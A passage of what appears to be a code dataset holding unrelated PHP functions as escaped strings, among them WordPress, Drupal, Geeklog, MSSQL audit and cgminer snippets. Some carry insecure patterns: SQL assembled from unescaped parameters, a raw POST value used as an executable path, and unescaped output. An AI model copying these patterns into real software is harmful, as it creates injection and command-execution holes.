df_traversal.\n\n\tfor($i=0;$i<count($wise_table);$i++){\n\t\tif($wise_table[$i]->is_root) { // root node found\n\t\t\tif($wise_table[$i]->is_terminal) {\n\t\t\t\t//echo \"#\".$wise_table[$i]->tb_no.\" is an isolated node.<br>\";\n\t\t\t\n\t\t\t}\n\t\t\telse {\n\t\t\t\tforeach($wise_table[$i]->downLink as $child) \n\t\t\t\t\tdf_traversal(find_node($child),$wise_table[$i]);\n\t\t\t}\n\t\t}\n\t}\n\t\n\n// Update the orders of creation into wise2_vwmldbm_tb\n\t$how_many_in_each_level=array();\n\tfor($i=0;$i<count($wise_table);$i++){\n\t\t$how_many_in_each_level[$wise_table[$i]->level]++;\t\n\t}\n\t$cnt=0;\n\tfor($i=0;$i<count($wise_table);$i++){ // update the isolated nodes\n\t\tif($wise_table[$i]->tb_no==\"\") continue; // skip unnecessary tables\n\t\tif(type_of_table($DB,$TB_PRE,get_tb_name($wise_table[$i]->tb_no),$inst)=='V') continue; // skip VIEW\n\t\tif($wise_table[$i]->is_root==true && $wise_table[$i]->is_terminal==true) $wise_table[$i]->order_of_creation=++$cnt;\n\t}\n\tfor($i=count($how_many_in_each_level)-1;$i>=0;$i--){ // update all other nodes\n\t\tfor($j=0;$j<count($wise_table);$j++){\n\t\t\tif($wise_table[$j]->tb_no==\"\") continue; // skip unnecessary tables\n\t\t\tif(type_of_table($DB,$TB_PRE,get_tb_name($wise_table[$i]->tb_no,$inst))=='V') continue; // skip VIEW\n\t\t\tif($wise_table[$j]->is_root==true && $wise_table[$j]->is_terminal==true) continue; // these isolated nodes were counted already before.\n\t\t\tif($wise_table[$j]->level==$i){\n\t\t\t\t$wise_table[$j]->order_of_creation=++$cnt;\t\t\t\n\t\t\t}\n\t\t}\n\t}\n // update the order of creation info into wise2.wise2_system.wise_table\t\n\tfor($i=0;$i<count($wise_table);$i++){ // Tables (not views)\n\t\tif($wise_table[$i]->tb_no==\"\") continue; // skip unnecessary tables\n\t\t$tb_name=get_tb_name($wise_table[$i]->tb_no,$inst);\n\t\tif(type_of_table($DB,$TB_PRE,$tb_name)=='V') continue; // skip VIEW\n\t\t\t\n\t\tmysqli_query($conn,\"update {$DTB_PRE}vwmldbm_tb set creating_order='\".$wise_table[$i]->order_of_creation.\"' where name='$tb_name'\");\n\t\t//echo $wise_table[$i]->tb_no.\": \".$wise_table[$i]->order_of_creation.\"<br>\";\t\n\t}\n\n// Determine the creating order of views from installation file\n\tif(file_exists($VWMLDBM['wise_rt'].\"/install/sql/view.php\")){\t\t\n\t\t$sql_view=array();\n\t\trequire_once($VWMLDBM['wise_rt'].\"/install/sql/view.php\");\t\n\t}\n\t\n// Remark: during the init_inst, view.php didn't become the part of the array.\n// But second time is okay. So for now let it go.\n//echo \"COUNT SQL_VIEW=\".count($sql_view);\n\n\tfor($i=0;$i<count($wise_table);$i++){ // Views (not tables)\n\t\tif($wise_table[$i]->tb_no==\"\") continue; // skip unnecessary tables\n\t\t$tb_name=get_tb_name($wise_table[$i]->tb_no,$inst);\n\t\tif(type_of_table($DB,$TB_PRE,$tb_name)!='V') continue; // skip Tables (Not views)\n\t\t$view_name=substr($tb_name,strlen($TB_PRE)+1);\n\t\tif($sql_view) $tb_c_order=array_search($view_name,array_keys($sql_view))+$cnt+1;\n\t\t\n\t\tmysqli_query($conn,\"update {$DTB_PRE}vwmldbm_tb set creating_order='$tb_c_order' where name='$tb_name'\");\t\n\t}\n}", "function import_sync($localexec=null) {\n $link = GetGlobal('db');\n\t \n\t if ($localexec!=null) {//bin file get in\n\t //html out to mail\n\t $html_start = null;//'<html><body>';\n\t\t $html_end = null;//'</body></html>';\t \n\t $execbin = remote_paramload('RCIMPORTDB','binsyncfile',$this->path);\n\t if (!$execbin) \n\t return($html_start.'<h2>Sevice Deactivated!</h2>'.$html_end);\n }\n\t else { \n\t //no html web exec\n\t $html_start = null;\n\t\t $html_end = null;\n\t }\t\n\t \n if (is_array($this->syncfiles)) {\n\t \n\t foreach ($this->syncfiles as $f=>$sfile) {\n\t\t $ret .= '<br><h2>'.$sfile.'</h2><br>';\n\t\t \n\t\t $fparts = explode('.',$sfile);\n\t\t \t\t \n $ret .= $this->import_table($fparts[0],$sfile,'<@>');\n\t\t \n $ret .= '---------------------------<br><br>';\t\t \n\t\t }\n\t }\n\t \n\t return ($html_start.$ret.$html_end);\t \t \n\t \n }", "function ninja_forms_tab_system_status(){\n\t// Display the system status!\n\tinclude(\"system-status-html.php\");\n}", "function listServices()\n{\n global $LANG_ADMIN, $LANG_TRB, $_CONF, $_IMAGE_TYPE, $_TABLES;\n\n require_once $_CONF['path_system'] . 'lib-admin.php';\n\n $retval = '';\n\n $header_arr = array( # display 'text' and use table field 'field'\n array('text' => $LANG_ADMIN['edit'], 'field' => 'edit', 'sort' => false),\n array('text' => $LANG_TRB['service'], 'field' => 'name', 'sort' => true),\n array('text' => $LANG_TRB['ping_method'], 'field' => 'method', 'sort' => true),\n array('text' => $LANG_TRB['service_ping_url'], 'field' => 'ping_url', 'sort' => true),\n array('text' => $LANG_ADMIN['enabled'], 'field' => 'is_enabled', 'sort' => false)\n );\n\n $defsort_arr = array('field' => 'name', 'direction' => 'asc');\n\n $menu_arr = array (\n array('url' => $_CONF['site_admin_url'] . '/trackback.php?mode=editservice',\n 'text' => $LANG_ADMIN['create_new']),\n array('url' => $_CONF['site_admin_url'],\n 'text' => $LANG_ADMIN['admin_home']));\n\n $retval .= COM_startBlock($LANG_TRB['services_headline'], '',\n COM_getBlockTemplate('_admin_block', 'header'));\n\n $retval .= ADMIN_createMenu(\n $menu_arr,\n $LANG_TRB['service_explain'],\n $_CONF['layout_url'] . '/images/icons/trackback.' . $_IMAGE_TYPE\n );\n\n $text_arr = array(\n 'has_extras' => true,\n 'form_url' => $_CONF['site_admin_url'] . '/trackback.php',\n 'help_url' => getHelpUrl() . '#ping'\n );\n\n $query_arr = array(\n 'table' => 'pingservice',\n 'sql' => \"SELECT * FROM {$_TABLES['pingservice']} WHERE 1=1\",\n 'query_fields' => array('name', 'ping_url'),\n 'default_filter' => \"\",\n 'no_data' => $LANG_TRB['no_services']\n );\n\n // this is a dummy variable so we know the form has been used if all services\n // should be disabled in order to disable the last one.\n $form_arr = array('bottom' => '<input type=\"hidden\" name=\"serviceChanger\" value=\"true\"' . XHTML . '>');\n\n $retval .= ADMIN_list('pingservice', 'ADMIN_getListField_trackback',\n $header_arr, $text_arr, $query_arr, $defsort_arr,\n '', SEC_createToken(), '', $form_arr);\n $retval .= COM_endBlock(COM_getBlockTemplate('_admin_block', 'footer'));\n\n if ($_CONF['trackback_enabled']) {\n $retval .= freshTrackback ();\n }\n if ($_CONF['pingback_enabled']) {\n $retval .= freshPingback ();\n }\n\n return $retval;\n}", "function TS_VCSC_DownloadSystemInfoData() {\r\n if (!isset($_GET['secret']) || $_GET['secret'] != md5( md5( AUTH_KEY . SECURE_AUTH_KEY ) . '-' . 'ts-vcsc-extend') ) {\r\n wp_die( 'Invalid Secret for options use' );\r\n exit;\r\n }\t\t\t\r\n\t\t\t$content \t= get_option('ts_vcsc_extend_settings_systemInfo', '');\r\n\t\t\t$siteturl\t= site_url();\r\n\t\t\t$find_h \t= '#^http(s)?://#';\r\n\t\t\t$find_w \t= '/^www\\./';\r\n\t\t\t$siteturl \t= preg_replace($find_h, '', $siteturl);\r\n\t\t\t$siteturl \t= preg_replace($find_w, '', $siteturl);\r\n\t\t\t$siteturl \t= str_replace('/', '.', $siteturl);\r\n\t\t\tif (isset($_GET['action']) && $_GET['action'] == 'ts_system_download') {\r\n\t\t\t\theader( 'Content-Description: File Transfer' );\r\n\t\t\t\theader( 'Content-type: application/txt' );\r\n\t\t\t\theader( 'Content-Disposition: attachment; filename=\"' . $siteturl . '-systeminfo.txt\"' );\r\n\t\t\t\theader( 'Content-Transfer-Encoding: binary' );\r\n\t\t\t\theader( 'Expires: 0' );\r\n\t\t\t\theader( 'Cache-Control: must-revalidate' );\r\n\t\t\t\theader( 'Pragma: public' );\r\n\t\t\t\techo $content;\r\n\t\t\t\t/*echo '<script>';\r\n\t\t\t\t\techo 'window.location=\"' . $_SERVER['REQUEST_URI'] . '\";';\r\n\t\t\t\techo '</script>';*/\r\n\t\t\t\t//Header('Location: '.$_SERVER['REQUEST_URI']);\r\n\t\t\t\tExit();\r\n\t\t\t} else {\r\n\t\t\t\theader( \"Expires: Mon, 26 Jul 1997 05:00:00 GMT\" );\r\n\t\t\t\theader( \"Last-Modified: \" . gmdate( \"D, d M Y H:i:s\" ) . \"GMT\" );\r\n\t\t\t\theader( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' );\r\n\t\t\t\theader( 'Cache-Control: no-store, no-cache, must-revalidate' );\r\n\t\t\t\theader( 'Cache-Control: post-check=0, pre-check=0', false );\r\n\t\t\t\theader( 'Pragma: no-cache' );\r\n\t\t\t\t// Can't include the type. Thanks old Firefox and IE. BAH.\r\n\t\t\t\t//header(\"Content-type: application/json\");\r\n\t\t\t\techo $content;\r\n\t\t\t\t/*echo '<script>';\r\n\t\t\t\t\techo 'window.location=\"' . $_SERVER['REQUEST_URI'] . '\";';\r\n\t\t\t\techo '</script>';*/\r\n\t\t\t\t//Header('Location: '.$_SERVER['REQUEST_URI']);\r\n\t\t\t\tExit();\r\n\t\t\t}\r\n\t\t}", "function generate_cash_v2($param)\r\n\t{\r\n\t\t$this->view = false;\r\n\t\t$this->layout_name = false;\r\n\t\t//debug($param);\r\n\r\n\t\t$_SQL = Singleton::getInstance(SQL_DRIVER);\r\n\r\n\t\t// get list of lines to be updated in audit_tree_v2\r\n\t\t$sql = \"SELECT * from audit_tree_v2 where '1'\";\r\n\t\tif ( !empty($param[0]) )\r\n\t\t{\r\n\t\t\t$sql .= \" and table_name='\" . $param[0] . \"'\";\r\n\t\t}\r\n\t\tif ( !empty($param[1]) )\r\n\t\t{\r\n\t\t\t$sql .= \" and field_name='\" . $param[1] . \"'\";\r\n\t\t}\r\n\t\tif ( !empty($param[2]) )\r\n\t\t{\r\n\t\t\t$sql .= \" and error_name='\" . $param[2] . \"'\";\r\n\t\t}\r\n\t\t$sql .= \" order by table_name, field_name, error_name asc\";\r\n\r\n\t\t$_SQL->sql_query($sql);\r\n\t\t$res = $_SQL->sql_query($sql);\r\n\t\t//debug($res);\r\n\t\t// get ARKADI_AUDIT mssql server infos\r\n\t\t$sql2 = \"SELECT * FROM data_dictionary_server where id=1\";\r\n\t\t$res2 = $_SQL->sql_query($sql2);\r\n\r\n\t\twhile ( $ob = $_SQL->sql_fetch_object($res2) ) // only 1 line\r\n\t\t{\r\n\t\t\t//open connection to ARKADIN_AUDIT DB\r\n\t\t\t$db = @mssql_connect($ob->ip, $ob->login, $ob->password);\r\n\r\n\t\t\tif ( !$db )\r\n\t\t\t{\r\n\t\t\t\techo(\"ERROR : impossible to connect to \" . $ob->ip . \" - (mx : \" . $ob->mx . \")\\n\");\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\r\n\t\t\tmssql_select_db(\"ARKADIN_AUDIT\");\r\n\r\n\t\t\t// process list of lines to be updated in audit_tree_v2\r\n\t\t\twhile ( $to_be_updated = $_SQL->sql_fetch_object($res) )\r\n\t\t\t{\r\n\t\t\t\t//debug($to_be_updated);\r\n\t\t\t\t$output = array();\r\n\r\n\t\t\t\t//total: get count of all element for the given table in ARKADIN_AUDIT related PIV\r\n\t\t\t\t$sql3 = \"SELECT count(1) as cpt FROM [\" . $to_be_updated->table_name . \"]\";\r\n\t\t\t\t$res3 = mssql_query($sql3);\r\n\t\t\t\t$ob2 = mssql_fetch_object($res3);\r\n\t\t\t\t$output['total'] = $ob2->cpt;\r\n\r\n\t\t\t\t// total number of lines in error in current run\r\n\t\t\t\t//$sql3 = \"SELECT count(1) as cpt FROM [\" . $to_be_updated->table_name . \"_V2] where ID_RUN=\" . $_GET['run_current'] . \"\r\n\t\t\t\t$sql3 = \"SELECT count(1) as cpt FROM [\" . $to_be_updated->table_name . \"_V2] where ID_RUN=2\r\n\t\t\t\t\tAND ERROR_\" . $to_be_updated->field_name . \"_\" . $to_be_updated->error_name . \" is not null\";\r\n\t\t\t\t$res3 = mssql_query($sql3);\r\n\t\t\t\t$ob2 = mssql_fetch_object($res3);\r\n\t\t\t\t$output['run_current'] = $ob2->cpt;\r\n\r\n\t\t\t\t// total number of lines in error in reference run\r\n\t\t\t\t//$sql3 = \"SELECT count(1) as cpt FROM [\" . $to_be_updated->table_name . \"_V2] where ID_RUN=\" . $_GET['run_reference'] . \"\r\n\t\t\t\t$sql3 = \"SELECT count(1) as cpt FROM [\" . $to_be_updated->table_name . \"_V2] where ID_RUN=1\r\n\t\t\t\t\tAND ERROR_\" . $to_be_updated->field_name . \"_\" . $to_be_updated->error_name . \" is not null\";\r\n\t\t\t\t$res3 = mssql_query($sql3);\r\n\t\t\t\t$ob2 = mssql_fetch_object($res3);\r\n\t\t\t\t$output['run_reference'] = $ob2->cpt;\r\n\r\n\t\t\t\t// added number of lines in error in current run (nb of new lines)\r\n\t\t\t\t// deleted number of lines in error from reference run (nb of deleted lines)\r\n\t\t\t\t//$sql3 = \"SELECT count(1) as cpt FROM [\" . $to_be_updated->table_name . \"_V2] where ID_RUN in (\" . $_GET['run_current'] . \",\" .\r\n\t\t\t\t// $_GET['run_reference'] . \")\r\n\t\t\t\t// where t.ID_RUN in ($_GET['run_current'],$_GET['run_refernce'])\r\n\t\t\t\t$sql3 = \"SELECT count(1) as cpt FROM [\" . $to_be_updated->table_name . \"_V2] t\r\n\t\t\t\t\tjoin [HASH_\" . $to_be_updated->table_name . \"_V2] h on t.AUDIT_OID=h.AUDIT_OID\r\n\t\t\t\t\twhere t.ID_RUN in (1,2)\r\n\t\t\t\t\tAND t.ERROR_\" . $to_be_updated->field_name . \"_\" . $to_be_updated->error_name . \" is not null\r\n\t\t\t\t\tGROUP BY h.HASH HAVING COUNT(1)=2\";\r\n\t\t\t\t$res3 = mssql_query($sql3);\r\n\t\t\t\t$total_in_both_run = mssql_fetch_object($res3);\r\n\t\t\t\t$output['add'] = $output['run_current'] - $total_in_both_run;\r\n\t\t\t\t$output['del'] = $output['run_reference'] - $total_in_both_run;\r\n\r\n\t\t\t\t// total number of lines in current run with accepted status\r\n\t\t\t\t// total number of lines in current run with to_be_corrected status\r\n\t\t\t\t// total number of lines in current run with in_wait status\r\n\t\t\t\t// AND t.ID_RUN = \"2\" . $_GET['run_current'] . \"\r\n\t\t\t\t$sql3 = \"SELECT f.STATUS, count(1) as cpt FROM [\" . $to_be_updated->table_name . \"_V2] t\r\n\t\t\t\t\tjoin [HASH_\" . $to_be_updated->table_name . \"_V2] h on t.AUDIT_OID=h.AUDIT_OID\r\n\t\t\t\t\tleft join [AUDIT_BLUESKY_FOLLOWED] f on h.HASH=f.HASH\t\t\t\t\r\n\t\t\t\t\twhere t.ERROR_\" . $to_be_updated->field_name . \"_\" . $to_be_updated->error_name . \" is not null\r\n\t\t\t\t\t\tAND t.ID_RUN = 2\r\n\t\t\t\t\tGROUP BY f.STATUS\";\r\n\t\t\t\tdebug($sql3);\r\n\t\t\t\t$res3 = mssql_query($sql3);\r\n\r\n\t\t\t\t$output['accpeted'] = 0;\r\n\t\t\t\t$output['to_be_corrected'] = 0;\r\n\t\t\t\t$output['in_wait'] = 0;\r\n\t\t\t\twhile ( $ob2 = mssql_fetch_object($res3) )\r\n\t\t\t\t{\r\n\t\t\t\t\tif ( ($ob2->STATUS == 2 ) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$output['accpeted'] += $ob2->cpt;\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse if ( ($ob2->STATUS == 2 ) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$output['accpeted'] += $ob2->cpt;\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse if ( is_null($ob2->STATUS) || ($ob2->STATUS == 1) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$output['in_wait'] += $ob2->cpt;\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tdie('unexpected status found in ARKADIN_AUDIT..AUDIT_BLUESKY_FOLLOWED table');\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\r\n\t\t\t\t$sql4=\"UPDATE audit_tree_v2 a set\r\n\t\t\t\t total=\".$output['total'].\",\r\n\t\t\t\t run_current=\".$output['run_current'].\",\r\n\t\t\t\t run_reference=\".$output['run_reference'].\",\r\n\t\t\t\t run_reference=\".$output['run_reference'].\",\r\n\t\t\t\t add=\".$output['add'].\",\r\n\t\t\t\t del=\".$output['del'].\",\r\n\t\t\t\t accpeted=\".$output['accpeted'].\",\r\n\t\t\t\t to_be_corrected=\".$output['to_be_corrected'].\",\r\n\t\t\t\t in_wait=\".$output['in_wait'].\"\r\n\t\t\t\t where a.table_name=\" . $to_be_updated->table_name . \" AND\r\n\t\t\t\t a.field_name=\" . $to_be_updated->field_name . \" AND\r\n\t\t\t\t a.error_name=\" . $to_be_updated->error_name;\r\n\t\t\t\t\r\n\t\t\t\tdebug($sql4);\r\n\t\t\t\tdebug($output);\r\n\t\t\t}\r\n\t\t\t//close connection to ARKADIN_AUDIT DB\r\n\t\t\tmssql_close();\r\n\t\t}\r\n\t}", "function\toverview($dbconn) {\n\t$sqlcom=\"select info.spec_id,name,num_seq,num_clus,num_lib,last_update from info natural join stats;\";\n\t$dbres = pg_exec($dbconn, $sqlcom );\n\tif ( ! $dbres ) {\n\t\techo \"Error : \" + pg_errormessage( $dbconn );\n\t\texit(); \n\t}\n\t$row=0;\n\t$rowmax=pg_NumRows($dbres);\n\twhile ($row<$rowmax) {\n\t $do = pg_Fetch_Object($dbres, $row);\n\t\t$spec_id=$do->spec_id;\n\t\t$species=$do->name;$species = preg_replace('/ /','<br>',$species,1);\n\t\t$seqs=$do->num_seq;$seqs=number_format($seqs);\n\t\t$clus=$do->num_clus;$clus=number_format($clus);\n\t\t$libs=$do->num_lib;$libs=number_format($libs);\n\t\t$update=$do->last_update;preg_match(\"/^(\\d\\d\\d\\d)-(\\d\\d)-\\d\\d/\",\"$update\", $date);\n\t\tif (file_exists(\"/var/www/html/nembase4/species/$spec_id.jpg\")) {$image=$spec_id.\".jpg\";}else{$image=$spec_id.\".gif\";}\n\t\tprint \"<td class=\\\"mainSmall\\\"><i><a href=\\\"/nembase4/species_info.php?species=$spec_id\\\">\\n\";\n\t\tprint \"<img src=\\\"/nembase4/species/$image\\\" width=100 height=100>\\n\";\n\t\tif ($libs==0) {$plural_libs=\"libraries documented\";} \n\t\telseif ($libs>=2) {$plural_libs=\"libraries\";} \n\t\telse {$plural_libs=\"library\";}\n\t\tprint \"</a><br>$species</i><br>updated $date[2]/$date[1]<br>$libs $plural_libs<br>$clus clusters<br>$seqs ESTs<br>\\n\";\n\t\tprint \"<a href=\\\"/downloads_area/databases/nembase4/$spec_id.fsa\\\">download clusters</a></td>\\n\";\n\t\t$row++;\n\t\tif ($row%8==0 && $row<$rowmax) {print \"</tr><tr>\\n\";}\n\t}\n\tprint(\"</tr><tr>\\n\");\n}", "public function buildTable()\n {\n\n $view = View::getActive();\n\n // Creating the Head\n $head = '<thead class=\"ui-widget-header\" >'.NL;\n $head .= '<tr>'.NL;\n\n $head .= '<th >Project Name</th>'.NL;\n //$head .= '<th>File</th>'.NL;\n $head .= '<th >Description</th>'.NL;\n $head .= '<th style=\"width:165px\" >Nav</th>'.NL;\n\n $head .= '</tr>'.NL;\n $head .= '</thead>'.NL;\n //\\ Creating the Head\n\n // Generieren des Bodys\n $body = '<tbody class=\"ui-widget-content\" >'.NL;\n\n $num = 1;\n foreach ($this->data as $key => $row) {\n $rowid = $this->name.\"_row_$key\";\n\n $body .= \"<tr class=\\\"row$num\\\" id=\\\"$rowid\\\" >\";\n\n $urlConf = 'index.php?c=Daidalos.Projects.genMask&amp;objid='.urlencode($key);\n $linkConf = '<a title=\"GenMask\" class=\"wcm wcm_req_ajax wgt_info\" href=\"'.$urlConf.'\">'\n .Wgt::icon('daidalos/bdl_mask.png' , 'xsmall' , 'build').'</a>';\n\n $urlGenerate = 'index.php?c=Genf.Bdl.build&amp;objid='.urlencode($key);\n $linkGenerate = '<a title=\"Code generieren\" class=\"wcm wcm_req_ajax wgt_info\" href=\"'.$urlGenerate.'\">'\n .Wgt::icon('daidalos/parser.png' , 'xsmall' , 'build').'</a>';\n\n\n $urlDeploy = 'index.php?c=Genf.Bdl.deploy&amp;objid='.urlencode($key);\n $linkDeploy = '<a title=\"Deploy the Project\" class=\"wcm wcm_req_ajax wgt_info\" href=\"'.$urlDeploy.'\">'\n .Wgt::icon('genf/deploy.png' , 'xsmall' , 'deploy').'</a>';\n\n $urlRefreshDb = 'index.php?c=Genf.Bdl.refreshDatabase&amp;objid='.urlencode($key);\n $linkRefreshDb = '<a title=\"Refresh the database\" class=\"wcm wcm_req_ajax wgt_info\" href=\"'.$urlRefreshDb.'\">'\n .Wgt::icon('daidalos/db_refresh.png' , 'xsmall' , 'sync db').'</a>';\n\n $urlSyncDb = 'index.php?c=Genf.Bdl.syncDatabase&amp;objid='.urlencode($key);\n $linkSyncDb = '<a title=\"Sync the database with the model\" class=\"wcm wcm_req_ajax wgt_info\" href=\"'.$urlSyncDb.'\">'\n .Wgt::icon('daidalos/db_sync.png' , 'xsmall' , 'sync db').'</a>';\n\n $urlPatchDb = 'index.php?c=Genf.Bdl.createDbPatch&amp;objid='.urlencode($key);\n $linkPatchDb = '<a title=\"Create an SQL Patch to alter the database\" class=\"wcm wcm_req_ajax wgt_info\" href=\"'.$urlPatchDb.'\" >'\n .Wgt::icon('genf/dump.png' , 'xsmall' , 'create alter patch').'</a>';\n\n $urlClean = 'index.php?c=Genf.Bdl.clean&amp;objid='.urlencode($key);\n $linkClean = '<a title=\"Projekt cleanen\" class=\"wcm wcm_req_ajax wgt_info\" href=\"'.$urlClean.'\">'\n .Wgt::icon('genf/clean.png' , 'xsmall' , 'clean').'</a>';\n\n $body .= '<td valign=\"top\" >'.$row[0].'</td>'.NL;\n //$body .= '<td valign=\"top\" >'.$row[1].'</td>'.NL;\n $body .= '<td valign=\"top\" >'.$row[2].'</td>'.NL;\n $body .= '<td valign=\"top\" align=\"center\" >'.$linkConf.' | '.$linkGenerate.$linkDeploy.' | '.$linkSyncDb.' '.$linkRefreshDb.' '.$linkPatchDb.' | '.$linkClean.'</td>'.NL;\n\n $body .= '</tr>'.NL;\n\n $num ++;\n if ($num > $this->numOfColors)\n $num = 1;\n\n }// ENDE FOREACH\n\n $body .= \"</tbody>\".NL;\n //\\ Generieren des Bodys\n\n $html ='<table id=\"table_'.$this->name.'\" class=\"full\" >'.NL;\n $html .= $head;\n $html .= $body;\n $html .= '</table>'.NL;\n\n return $html;\n\n }", "function process_host_info($host_data)\n{\n global $API_version;\n global $CGM_version;\n\n $arr = array ('command'=>'config','parameter'=>'');\n $config_arr = send_request_to_host($arr, $host_data);\n \n $arr = array ('command'=>'summary','parameter'=>'');\n $summary_arr = send_request_to_host($arr, $host_data);\n \n $up_time = $summary_arr['SUMMARY']['0']['Elapsed'];\n $days = floor($up_time / 86400);\n $up_time -= $days * 86400;\n $hours = floor($up_time / 3600);\n $up_time -= $hours * 3600;\n $mins = floor($up_time / 60);\n $seconds = $up_time - ($mins * 60);\n \n $output = \"\n <tr>\n <th>CGminer version</th>\n <th>API version</th>\n <th>Up time</th>\n <th>Found H/W</th>\n <th>Using ADL</th>\n <th>Pools and Strategy</th>\n </tr>\n <tr>\n <td>\".$CGM_version.\"</td>\n <td>\".$API_version.\"</td>\n <td>\".$days.\"d \".$hours.\"h \".$mins.\"m \".$seconds.\"s</td>\n <td>\".$config_arr['CONFIG']['0']['CPU Count'].\" CPUs, \".$config_arr['CONFIG']['0']['GPU Count'].\" GPUs, \".$config_arr['CONFIG']['0']['BFL Count'].\" BFLs</td>\n <td>\".$config_arr['CONFIG']['0']['ADL in use'].\"</td>\n <td>\".$config_arr['CONFIG']['0']['Pool Count'].\" pools, using \".$config_arr['CONFIG']['0']['Strategy'].\"</td>\n </tr>\";\n\n return $output;\n}", "public static function show_diff() {\r\n\t\tcheck_admin_referer('plugin-name-action_wpidenonce'); \r\n\t\tif ( !is_super_admin() )\r\n\t\t\twp_die('<p>'.__('You do not have sufficient permissions to edit templates for this site. SORRY').'</p>');\r\n\t\t\r\n error_reporting(E_ALL);\r\n ini_set(\"display_errors\", 1);\r\n \r\n require_once('git/autoload.php.dist');\r\n //use TQ\\Git\\Cli\\Binary;\r\n //use TQ\\Git\\Repository\\Repository;\r\n \r\n $root = apply_filters( 'wpide_filesystem_root', WP_CONTENT_DIR ) . \"/\"; \r\n \r\n //check repo path entered or die\r\n if ( !strlen($_POST['gitpath']) ) \r\n die(\"Error: Path to your git repository is required!\");\r\n \r\n \r\n $repo_path = $root . sanitize_text_field( $_POST['gitpath'] );\r\n $gitbinary = sanitize_text_field( stripslashes($_POST['gitbinary']) );\r\n \r\n if ( $gitbinary===\"I'll guess..\" ){ //the binary path\r\n \r\n $thebinary = TQ\\Git\\Cli\\Binary::locateBinary();\r\n $git = TQ\\Git\\Repository\\Repository::open($repo_path, new TQ\\Git\\Cli\\Binary( $thebinary ) );\r\n \r\n }else{\r\n \r\n $git = TQ\\Git\\Repository\\Repository::open($repo_path, new TQ\\Git\\Cli\\Binary( $_POST['gitbinary'] ) );\r\n \r\n }\r\n \r\n $file = sanitize_text_field( base64_decode( $_POST['file']) );\r\n \r\n //generate a diff using the built in WordPress code\r\n $args = array(\r\n 'title' => 'Differences',\r\n 'title_left' => 'Old Version',\r\n \t'title_right' => 'New Version'\r\n );\r\n \r\n $contents = file_get_contents($repo_path . \"/\" . $file); //the git library isn't using the WP filesystem API so should we here? should we fullstop?\r\n $contents2 = $git->showFile( $file, 'HEAD@{1}');\r\n \r\n $diff_table = wp_text_diff($contents2, $contents, $args); \r\n echo \"<strong>Diff</strong>\" . $diff_table;\r\n\r\n \r\n\t\tdie(); // this is required to return a proper result\r\n\t}", "function tableMissingRenewal(){\r\n require_once 'makedbconnection.php';\r\n $connection = makeDBConnection(DB_HOST, DB_ADMIN, DB_ADMIN_PASSWORD, DB_NAME);\r\n $sql = \"SELECT software FROM tracked WHERE renewal='1970-01-01' ORDER BY software ASC;\";\r\n $result = $connection->query($sql);\r\n \r\n /*Write a table with the list and style it to be hidden by default*/\r\n $dom = new DOMDocument;\r\n \r\n $table = $dom->createElement(\"TABLE\");\r\n $table->setAttribute(\"CLASS\", \"table table-hover\");\r\n $headrow = $dom->createElement(\"TH\");\r\n $heading = $dom->createElement(\"TD\", \"Software Missing Renewal\");\r\n $headrow->appendChild($heading);\r\n $thead = $dom->createElement(\"THEAD\");\r\n $thead->appendChild($headrow);\r\n $table->appendChild($thead);\r\n $dom->appendChild($table);\r\n \r\n /*Create the table body*/\r\n $tbody = $dom->createElement(\"TBODY\");\r\n $table->appendChild($tbody);\r\n\r\n \r\n if ($result->num_rows>0){\r\n while ($row = $result->fetch_assoc()){\r\n $datarow = $dom->createElement(\"TR\");\r\n $software = $dom->createElement(\"TD\");\r\n $softwarelink = $dom->createElement(\"A\", \"$row[software]\");\r\n $softwarelink->setAttribute(\"HREF\", \"entrypage.php?entry=$row[software]\");\r\n $software->appendChild($softwarelink);\r\n $datarow->appendChild($software);\r\n $tbody->appendChild($datarow);\r\n }\r\n }\r\n else {\r\n $datarow = $dom->createElement(\"TR\");\r\n $nonefound = $dom->createElement(\"TD\", \"No Entries Found\");\r\n $datarow->appendChild($nonefound);\r\n $tbody->appendChild($datarow);\r\n }\r\n echo $dom->saveHTML();\r\n}", "function path_admin_overview($keys = NULL) {\n // Add the filter form above the overview table.\n $output = drupal_get_form('path_admin_filter_form', $keys);\n // Enable language column if locale is enabled or if we have any alias with language\n $count = db_result(db_query(\"SELECT COUNT(*) FROM {url_alias} WHERE language != ''\"));\n $multilanguage = (module_exists('locale') || $count);\n\n if ($keys) {\n // Replace wildcards with MySQL/PostgreSQL wildcards.\n $keys = preg_replace('!\\*+!', '%', $keys);\n $sql = \"SELECT * FROM {url_alias} WHERE dst LIKE '%%%s%%'\";\n }\n else {\n $sql = 'SELECT * FROM {url_alias}';\n }\n $header = array(\n array('data' => t('Alias'), 'field' => 'dst', 'sort' => 'asc'),\n array('data' => t('System'), 'field' => 'src'),\n array('data' => t('Operations'), 'colspan' => '2')\n );\n if ($multilanguage) {\n $header[3] = $header[2];\n $header[2] = array('data' => t('Language'), 'field' => 'language');\n }\n $sql .= tablesort_sql($header);\n $result = pager_query($sql, 50, 0 , NULL, $keys);\n\n $rows = array();\n $destination = drupal_get_destination();\n while ($data = db_fetch_object($result)) {\n $row = array(check_plain($data->dst), check_plain($data->src), l(t('edit'), \"admin/build/path/edit/$data->pid\", array('query' => $destination)), l(t('delete'), \"admin/build/path/delete/$data->pid\", array('query' => $destination)));\n if ($multilanguage) {\n $row[4] = $row[3];\n $row[3] = $row[2];\n $row[2] = module_invoke('locale', 'language_name', $data->language);\n }\n $rows[] = $row;\n }\n\n if (empty($rows)) {\n $empty_message = $keys ? t('No URL aliases found.') : t('No URL aliases available.') ;\n $rows[] = array(array('data' => $empty_message, 'colspan' => ($multilanguage ? 5 : 4)));\n }\n\n $output .= theme('table', $header, $rows);\n $output .= theme('pager', NULL, 50, 0);\n\n return $output;\n}", "public function getFileListV2() {\n $files= scandir(public_path('kiosks'));\n $urlList = $this->readUrls();\n $allowedFileExt = explode(',', env(\"PBS_MIMES\"));\n\n $id = 1;\n $fileList = array();\n // Get Kiosk IDs from parameters\n $kparameters = $this->readKioskParamsIni();\n foreach ($kparameters as $k => $row) { $kioskList[] = $row['id']; 